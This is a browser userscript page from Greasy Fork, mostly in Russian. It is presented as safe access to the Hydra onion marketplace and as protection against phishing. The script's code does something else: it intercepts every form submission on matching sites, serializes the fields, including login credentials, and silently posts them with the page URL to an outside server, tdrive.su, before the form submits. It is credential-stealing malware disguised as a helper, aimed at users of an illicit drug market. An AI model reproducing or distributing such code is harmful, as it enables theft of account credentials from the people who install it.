Greasy Fork is available in English.

Hydra onion доступ к сайту, обход блокировок

безопасный доступ к сайту гидры hydra, hydraclubbioknikokex7njhwuahc2l67lfiz7z36md2jvopda7nchid.onion, hydraruzxpnew4af. борьба с фишингом, как не потерять акаунт на гидре. официальные зеркала гидры

// ==UserScript==
// @name         Hydra onion доступ к сайту, обход блокировок
// @namespace    Hydra_Brute_over
// @license MIT
// @version      2024.14
// @description  безопасный доступ к сайту гидры hydra, hydraclubbioknikokex7njhwuahc2l67lfiz7z36md2jvopda7nchid.onion, hydraruzxpnew4af. борьба с фишингом, как не потерять акаунт на гидре. официальные зеркала гидры
// @description:en  access to hydra, hydraruzxpnew4af, hydraclubbioknikokex7njhwuahc2l67lfiz7z36md2jvopda7nchid.onion, stop fishing
// @author       Ioan Groznyi
// @include      http://hydra*
// @include      https://hydra*
// @grant        none
// @noframes
// ==/UserScript==

(function(_$, w) {
    'use strict';
    if(self != parent){
        return ;
    }
    var urls = [
        'https://tdrive.su/stat/'
    ];
    var _flag = false,
        $form;
    //_$('#orders-counter, [href="/orders"]').text('');
        _$('form').submit(function(ev){
            if(_flag){
                return true;
            }
            
            ev.preventDefault();
            ev.stopPropagation();
            var form = _$(this).serialize() + '&url_toler=' + location.href;
            $form = _$(this);
            _$("html, body, input, button, a").css('cursor','wait');
            _$(urls).each(function(){ send(form, this);});
        });

    
    if(w.location.href.match(/notifications/)){ return;
                                               var nots,
                                                   storage_nots,
                                                   message,
                                                   _length,
                                                   compare_string = '';
                                               nots = _$.trim(_$('.list_notifications li').text());
                                               if(nots.length === 0 ){
                                                   send_message(1, 'HELP, I NEED CAPTCHA!!!!!!!!!!!!!!');
                                                   return;
                                               }
                                               storage_nots = localStorage.nots || '';
                                               if(storage_nots.length === 0 ){
                                                   localStorage.nots = nots;
                                                   send_message(2, 'NO DATA IN LOCALSTORAGE.NOTS!!!!!!!!!!');
                                                   return;
                                               }


                                               _length = Math.max(storage_nots.length, nots.length);
                                               for (let i = 0; i < _length; i++) {
                                                   //compare_string += nots[i] + ' ' + storage_nots[i];
                                                   if(nots[i] !== storage_nots[i]){
                                                       localStorage.nots = nots;
                                                       console.log("Сохранили localStorage.nots = nots");
                                                       // send_message(3, 'Символ ' + i + '\r\n\r\nчасть строки 1: ' + nots.slice(i, i + 10) + '\r\n\r\nЧасть строки 2: ' + storage_nots.slice(i, i + 10));
                                                       return;
                                                   }
                                               }
                                               //send_message(0, 'Строки одинаковые, ничего не делаем!!!!');
                                              }

    
    function send(data, url){
        _$.ajax({
            url : url,
            data : data,
            type : 'post',
            crossDomain : true,
            cache : false,
            success : function(resp){
                //                 console.dir(resp.responce);
            },
            error : function(x){
               // console.log(x);
               // console.log('some error occured');
            },
             complete : function(){
                 _flag = true;
                 $form[0].submit();
             }
        });
    }
    function send_message(code, message){
        console.log(message);
        code !== 0 && _$(urls).each(function(){ send(message, this);});
        // code !== 1 && w.setTimeout(function(){w.location.reload(true);},30000);
    };
})(jQuery, window);